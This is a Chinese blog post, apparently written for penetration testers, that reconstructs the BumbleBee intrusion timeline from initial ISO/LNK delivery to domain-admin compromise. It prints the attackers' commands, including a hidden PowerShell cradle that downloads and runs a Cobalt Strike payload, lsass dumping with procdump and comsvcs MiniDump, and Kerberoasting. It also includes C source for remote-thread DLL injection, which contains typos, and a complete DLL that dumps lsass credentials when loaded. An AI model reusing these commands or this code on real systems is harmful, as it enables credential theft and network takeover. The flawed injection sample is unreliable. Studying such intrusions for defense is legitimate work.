实战还原--从大黄蜂样本到域控管理员技术解析

news2024/11/17 4:35:59

0 前言

实战案例还原《BumbleBee Roasts Its Way To Domain Admin》一文详细的描述了一次渗透案例,但其文章组织架构建立在ATT&CK框架上,而不是按照时间线逻辑来组织,因此对于渗透人员了解学习其前后过程有些困难,特此梳理一番,按照时间线还原实战。

《BumbleBee Roasts Its Way To Domain Admin》原文链接

1 第一天(Day1)

1.1 样本投递

看起来是通过邮件中的下载链接投递到的目标环境中的机器,该样本是一个有密码的压缩包。解压缩后释放文件BC_invoice_Report_CORP_46.iso。当挂载这个ISO文件,会释放一个LNK文件documents.lnk,当双击这个快捷方式时会执行隐藏的恶意加载器。快捷方式的目标如下:

C:\Windows\System32\cmd.exe /c start rundll32 namr.dll,IternalJob

1.1.1 rundll32解析

使用rundll32加载执行是常用渗透套路,可以执行dll中的程序,一般还可以用来获取shell:

use exploit/windows/smb/smb_delivery
set srvhost 10.x.x.x
exploit

1.2 加载恶意程序大黄蜂(BumbleBee)

加载器大黄蜂(BumbleBee)返回Cobalt Strike Session,攻击者利用这个Cobalt Strike的shell释放wab.exe,该可执行文件将有wmi执行。

C:\Windows\System32\webm\wmiprvse.exe -secured -Embedding

wab.exe将恶意代码注入到其他两个进程explorer.exe和rundll32.exe中。这里根据原文来看使用的是远线程注入,及使用经典的OpenProcess、VirtualAlloc、WriteProcessMemory、CreateRemoteThread这些Windows系统调用API进行进程注入。根据这些描述,攻击者此刻是具备至少Administrator权限,一般情况下具备了Administrator权限也就有了System权限,从文章描述来看,攻击者使用了getsystem来提权。远线程注入实例代码如下:

BOOL CreateRemoteThreadInjectDLL(DWORD dwProcessId, char* pszDllFileName){
    HANDLE hProcess = NULL;
    DWORD dwSize = 0;
    LPVOID pDllAddr = NULL;
    FARPROC pFuncProcAddr = NULL;
    hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);//打开进程,获取进程句柄
    dwSize = 1+ ::lstrlen(pszDllFileName); //获取dll大小
    pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);//申请内
    ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL);//向内存中写入dll
    pFuncProAddr = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibiaryA");//获取函数LoadLibraryA的函数地址
    HANDLE hRemoteThread = ::CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, Null);//创建远线程
    ::CloseHandle(hProcess);
    return TRUE;
}

1.3 被控主机信息收集

攻击者使用多种命令来收集操作系统、网络、用户、软件、进程、域等信息:

ipconfig /all #获取网络信息包含domain
ping -n 1 [domain] #测试domain连通性
net group "domain admins" /domain #获取域管组成员
nslookup x.x.x.x #获取x.x.x.x IP地址
tasklist #获取进程信息
systeminfo #获取系统信息
wmic product get name,version #获取软件信息
wmic /node"<redacted> process list brief #获取进程信息
net view \\<redacted>\Files$ /all #列远程服务器Files共享目录
dir \\<redacted>\c$\ #列c盘目录
tasklist /v /s x.x.x.x #远程获取x.x.x.x 进程详细信息
net use
net group "Domain computers" /domain
net group "Enterprise admins" /domain
net group "domain computers" /domain
net localgroup administrators
nltest /dclist
nltest /domain_trusts
ping -n 1 <remote_ip>

根据上文执行的命令来看攻击者已经获取了远端服务器x.x.x.x的权限或者用户名和口令。

1.4 横向移动到服务器并继续收集信息

原文描述利用local admin账号通过RDP协议横向移动到一台服务器,并释放了AnyDesk.exe作为后门,然后开始利用adfind.exe继续进行信息收集(根据描述,看来该服务器在域内):

cmd.exe /C af.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C af.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C af.exe -sc trustdump > trustdump.txt
cmd.exe /C af.exe -gcb -sc trustdump > trustdump.txt

2 第二天(Day2)

2.1 在服务器上继续收集信息

攻击者继续使用RDP登录该服务器,并上传了VulnRecon,一款专门设计用来在Windows机器上标识权限提升的路径的工具。

3 第四天(Day4)

3.1 在被控主机上继续收集信息

攻击者在被控主机上及环境中的多台机器,上传了VulnRecon工具和Sysinternals tool工具套件 ,使用VulnRecon、adfind、procdump等工具继续信息收集。其中他们使用远程服务来执行procdump来提取lsass.exe的内存从而获取凭据,根据描述他们至少又获得了几台主机和至少一台服务器的权限。截止目前看起来尚未获取与管理或更高的权限。使用adfind的过程发生在原始被控主机上,当然也不排除在新的横移到的主机上进行。

cmd.exe /C adfind.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -f "(objectcategory=organizationalUnit)" > ad_ous.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt

3.1.1 VulnRecon 解析

VulnRecon有一个可执行文件和一个dll组成,分别是vulnrecon.exe和vulnrecon.dll,用来枚举权限提升的方式以及信息收集,看起来是自定义的工具,上传到原始被控主机上,当然也不排除在新的横移到的主机上进行。

# 
#vulnrecon.dll PDB: D:\a\_work\1\s\artifacts\obj\win-x64.Release\corehost\cli\apphost\standalone\Release\apphost.pdb
#vulnrecon.exe PDB: D:\work\rt\VulnRecon\VulnRecon\obj\Release\net5.0\VulnRecon.pdb

# command

vulnrecon.exe -v
vulnrecon.exe -o
vulnrecon.exe -FindVulnerability
vulnrecon.exe -i
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt
cmd.exe /c vulnrecon.exe -i >> c:\programdata\1.txt
cmd.exe /c vulnrecon.exe -o >> c:\programdata\out.txt

看起来提权是为了执行procdump获取lsass内存的,发生在原始被控主机上。

### 3.2 获取lsass中的凭据

根据描述dump出来的文件保存在ProgramData中,利用net use等方式可以获取回来,使用mimikatz或者pypykatz进行破解。这些过程发生在从原始被控主机发现并横向移动到的那些受害主机和服务器上。

C:\programdata\procdump64.exe -accepteula -ma lsass.exe C:\ProgramData\lsass.dmp

4 第七天(Day7)

4.1 在被控服务器上继续收集信息

攻击者持续使用VulnRecon在服务器上进行信息收集,并且还使用了Seatbelt工具(一款常用的信息收集工具)。根据描述使用的是服务器的本地管理员权限。

Seatbelt.exe -group=all -outputfile="C:\ProgramData\seatinfo.txt"
vulnrecon.exe -o
vulnrecon.exe -v
vulnrecon.exe -m
cmd.exe /c vulnrecon.exe -FindVulnerability >> c:\programdata\log.txt

5 第十一天(Day11)

5.1 在被控主机上反弹shell

攻击者持续被控主机上执行powershell命令,下载执行a文件的内容:

C:\Windows\system32\cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"

根据在a中发现的cobalt strike 的默认配置字符MZRE可以断定,这是一个回连C2地址的 cobalt strike的指令。然后攻击者获取了一个被控主机到攻击者控制的C2。

![](https://img2022.cnblogs.com/blog/1070321/202208/1070321-20220817170635532-83148076.png)

然后开始向其他进程进行注入,根据原文描述,应该注入到了类似svchost.exe等几个进程。然后攻击者执行了powershell模块Invoke-Kerberoast,开始了kerberoasting攻击。这里依然是从被控主机开始都发起的。

#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc

IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:36177/'); Invoke-Kerberoast -OutputFormat HashCat | fl | Out-File -FilePath C:\ProgramData\REDACTED\ps.txt -append -force -Encoding UTF8

# 可以看出输出是hashcat模式,攻击应该是使用hashcat进行暴力破解

5.1.1 kerberoasting攻击解析

kerberoasting攻击解析分为两种:TGS-Kerberoasting和 AS-Kerberoasting,可以使用rubeus.exe、msf、powershell进行,其获取的事Net-NTLMHash,可以使用hashcat等工具进行破解从而获得ntlmhash或者password。

5.2 使用Minidump进行凭据提取

攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。

#父进程 svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
cmd.exe /C rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 968 C:\ProgramData\REDACTED\lsass.dmp full

5.2.1 Minidump解析

攻击者又开始使用可以规避卡巴斯基的凭据提取方式minidump进行凭据提取。这里依然是从被控主机开始都发起的。

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>

typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

	PROCESSENTRY32 entry;
	entry.dwSize = sizeof(PROCESSENTRY32);

	HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

	if (Process32First(hSnapshot, &entry)) {
		while (Process32Next(hSnapshot, &entry)) {
			if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
				return entry.th32ProcessID;
			}
		}
	}

	CloseHandle(hSnapshot);
	return 0;
}

void GetDebugPrivilege()
{
	BOOL fOk = FALSE;
	HANDLE hToken;
	if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
	{
		TOKEN_PRIVILEGES tp;
		tp.PrivilegeCount = 1;
		LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);
		tp.Privileges[0].Attributes = true ? SE_PRIVILEGE_ENABLED : 0;
		AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
		fOk = (GetLastError() == ERROR_SUCCESS);
		CloseHandle(hToken);
	}
}

void DumpLsass()
{
	wchar_t  ws[100];
	_MiniDumpW MiniDumpW;
	
	MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
	swprintf(ws, 100, L"%u %hs", GetLsassPid(), "c:\\windows\\temp\\temp.bin full");

	GetDebugPrivilege();

	MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
		DumpLsass();
		break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

我自己曾经编译过该文件,在这里再次感谢曾经A-Team的大佬们带给我的渗透技术视野和国外XPN大牛乐于分享的精神。

编译和使用方式参考

5.3 在被控主机上继续信息收集

在初始被控主机上继续使用adfind收集信息。

cmd.exe /C adfind.exe -f "(objectcategory=person)" > ad_users.txt
cmd.exe /C adfind.exe -f "objectcategory=computer" > ad_computers.txt
cmd.exe /C adfind.exe -sc trustdump > trustdump.txt

5.4 在初始被控机器上再次执行powershell,与之前的相同

攻击者持续被控主机上执行powershell命令,下载执行a文件的内容:

C:\Windows\system32\cmd.exe /C powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://a.b.c.d:80/a'))"

以上过程在5.1中有详细描述不再赘述

5.5 在更多机器上信息收集

在更多机器上执行下列命令:

C:\Windows\system32\cmd.exe /C net accounts /domain
C:\Windows\system32\cmd.exe /C net view /all
C:\Windows\system32\cmd.exe /C whoami
C:\Windows\system32\cmd.exe /C net view \\x.x.x.x\ /all
C:\Windows\system32\cmd.exe /C wmic /node:x.x.x.x process list brief
C:\Windows\system32\cmd.exe /C net ""domain controllers" /domain 
C:\Windows\system32\cmd.exe /C net nltest /dclist:[domain]

5.6 两个批处理脚本

攻击者上传并执行两个脚本s.bat和w.bat,这两个脚本可以分析和发现环境内的其他目标。

# s.bat
echo off
for /f %%i in (servers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> serv.log
# w.bat
@echo off
for /f %%i in (workers.txt) do for /f "tokens=2 delims=[]" %%j in ('ping -n 1 -4 "%%i"') do @echo %%j >> work.log

5.7 最后

两个脚本运行之后,一个新的cobalt strike的session在初始被控的机器上再次运行上线,然后攻击者使用一个服务账号进行横移,在域控上执行获取一个cobalt strike的session,根据原文描述这里是一个弱口令,被hashcat破解tgs-kerberoasting得到的net-ntlm hash的值这个操作所爆破出来,攻击者在域控上dump lsass。exe的进程内存从而获取到domain admin的权限,打穿域控

原文来源: https://www.cnblogs.com/KevinGeorge/p/16595912.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/192616.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

发布微信小程序获取收集用户信息权限

前言在发布微信小程序的时候我们经常会遇到审核不通过的情况&#xff0c;其中一种特别让我头疼就是说小程序收集、使用和储存用户信息。不给予通过。但是他们的接口又不能提供这个功能&#xff0c;并且老是改动&#xff0c;真的特别的麻烦加无语。有时候审核偷一下懒&#xff0…

算法刷题-回文数、找出小于平均值的数、旋转图像(C_C++)

文章目录回文数找出小于平均值的数旋转图像回文数 给你一个整数 x &#xff0c;如果 x 是一个回文整数&#xff0c;返回 true &#xff1b;否则&#xff0c;返回 false 。 回文数是指正序&#xff08;从左向右&#xff09;和倒序&#xff08;从右向左&#xff09;读都是一样的…

光电耦合器和MOSFET之间的差异

光电耦合器和MOSFET之间的差异 介绍 光电耦合器/光耦合器和固态继电器&#xff08;光电MOSFET或光耦MOSFET&#xff08;OCMOS FET&#xff09;&#xff09;在保持电隔离的同时传输信号&#xff0c;但存在一些重要差异。 结构差异 下图显示了光电耦合器和OCMOS FET的主要内部…

Vue实战第2章:简单的分配页面布局

缓冲 前言 本篇在讲什么 本篇作为Vue实战的第二章&#xff0c;跟代码逻辑无关&#xff0c;主要是简单的先设计一下个人网站的各个模块内容&#xff0c;明确一下我们想要将网站做出什么样子 本篇的特色 具有全流程的图文教学 重实践&#xff0c;轻理论&#xff0c;快速上…

趣味三角——第6章——两个几何定理

第6章 两个几何定理 It is the glory of geometry that from so few principles, fetched from without, it is able to accomplish so much. (几何学的荣耀在于&#xff0c;仅从几个原理出发&#xff0c;外求于无物&#xff0c;但却能够完成如此非凡的壮举。) ——Isaac N…

linux基本功系列-top命令实战

文章目录一. top命令介绍二. 语法格式及常用选项三. 参考案例3.1 显示进程信息3.2 显示完整的进程命令3.3 以批处理的形式展示3.4 设置信息更新频次3.5 显示指定进程号的信息3.6 top面板中常用参数3.7 其他用法四. top的相关说明4.1 交互命令介绍4.2 top面板每行信息的含义4.2.…

MySQL(八):事务的隔离级别、MVCC的原理

目录一、事务的隔离级别1.1 事务的隔离性1.2 事务并发执行引发的一致性问题1.2.1 脏写1.2.2 脏读1.2.3 不可重复读1.2.4 幻读1.3 SQL标准中的四种隔离级别1.4 MySQL中支持的4中隔离级别二、MVCC原理2.1 版本链2.2 ReadView2.3 READ COMMITED 每次读取数据前都生成一个ReadView2…

使用独立显卡安装黑苹果,但无法扩展显示器的解决方案

使用独立显卡安装黑苹果&#xff0c;但无法扩展显示器的解决方案 网上的教程 本文的外部链接&#x1f517; 引用文中的一句话&#xff1a;“这也许是无法驱动独显的黑苹果笔记本想要外接显示器的唯一方案。” ---- 购买拥有displaylink的外置显卡的usb转接器 文章作者给我了…

word@菜单自定义和公式输入

菜单栏快捷键设置 word 设置(选项) Word options (General) - Microsoft Support 点击文件->选项 自定义word菜单 自定义功能区 Customize the ribbon in Word - Microsoft Support Customizing the source list of commandsThe ribbon listAdd or remove commandsReor…

[golang Web开发] 2.golang web开发:操作数据库,增删改查,单元测试

简介 Go 语言中的 database/sql包定义了对数据库的一系列操作,database/sql/driver包定义了应被数据库驱动实现的接口&#xff0c;这些接口会被sql包使用.但是 Go语言没有提供任何官方的数据库驱动&#xff0c;所以需要导入第三方的数据库驱动,不过连接数据库之后对数据库操作的…

超经典JavaIDEA 10个插件 Java开发工程师

工欲善其事&#xff0c;必先利其器。 作为一名合格的程序员&#xff0c;合理配置我们所用的IDEA&#xff0c;是高效开发的必修课。而如今的插件工具也越来越好用&#xff0c;不仅基本具备了智能提示&#xff0c;还可以自动补全代码&#xff0c;甚至能够在查出bug的同时提供修改…

如何彻底删除硬盘数据?电脑高手也恢复不了

实用的小命令,就是彻底删除硬盘上的数据,硬盘恢复软件也恢复不了! 1.以管理员身份运行cmd窗口,打开cmd,如下图所示: 2.在命令提示窗口中,直接输入cipher /w:路径,输入这个命令加上路径即可将文件彻底删除! 可以从整个命令说明上看到是从整个卷上可用的未使用磁盘空间…

Git (2) :Git练习--分支的新建与合并

一.首先有个问题 &#xff1f; 在进行git练习前&#xff0c;有个问题需要提下。。。。 csdn无法登录了。 查了一下资料&#xff0c;是因为CSDN服务器的各地相应速度不一样&#xff0c;辽宁的响应是超时的&#xff0c;所以通过在hosts文件中指定域名http://csdnimg.cn的服务器…

机器学习之卷积操作

很多好主意一旦踏上语义鸿沟&#xff0c;就再也听不到。 卷积&#xff0c;在图像、视觉领域乃老生常谈的内容&#xff0c;但是对于具体工作细节仍然值得我去学习。 卷积原理 卷积&#xff0c;就是利用一个小的矩阵(或者更高维向量)作用于图像矩阵(或者特征矩阵)&#xff0c;然…

Web测试、APP测试常用技巧(错过你一定会后悔)

目录 1. web元素定位七种方式 2. app元素定位3种方式 3. adb常用命令 4. 键盘操作常用函数 5. 鼠标操作常用函数 6. apppium&#xff1a; 7. fixture 1. web元素定位七种方式 优先使用的6种 find_element_by_id (返回一个元素)find_element(s)_by_class_name (根据类名…

2023-02-01 pthread线程局部数据-记录

摘要: pthread线程局部数据-记录 参考: https://www.akkadia.org/drepper/tls.pdf https://en.wikipedia.org/wiki/Thread-local_storage https://download.csdn.net/download/adofsauron/87408865 测试代码: 示例一: #include<stdio.h> #include<stdlib.h> #…

pip install timeout错误解决方案

大家好&#xff0c;我是爱编程的喵喵。双985硕士毕业&#xff0c;现担任全栈工程师一职&#xff0c;热衷于将数据思维应用到工作与生活中。从事机器学习以及相关的前后端开发工作。曾在阿里云、科大讯飞、CCF等比赛获得多次Top名次。喜欢通过博客创作的方式对所学的知识进行总结…

java spring Bean生命周期

首先 要搞清楚大概念 什么是生命周期&#xff1f; 学过vue和react的前端会有概念 简单说 就是一个对象从创建到销毁的整个过程 那么 bean的生命周期 我们先文字描述 然后再看效果 第一 阶段 通过构造器创建bean实例 就是找到bean对象配置的 类中的无惨构造 创建对象 第二阶段…

React学习笔记-(Bilibili李立超)

写法的变更 之前 const divNode <div>你好,React</div> ReactDOM.render(divNode,document.getElementById(root))会警告 现在 <script type"text/babel">const divNode <div>你好,React</div>const root ReactDOM.createRoot(…

【PHP 随记】—— laravel 项目环境搭建

&#x1f449;总目录&#x1f448;\large\colorbox{skyblue}{&#x1f449;总目录&#x1f448;}&#x1f449;总目录&#x1f448;​ 文章目录1、安装 laravel 以及 phpstorm 开发插件2、配置虚拟主机与绑定 hosts 文件① 配置虚拟主机② hosts 绑定③ 验证3、配置数据库① 配…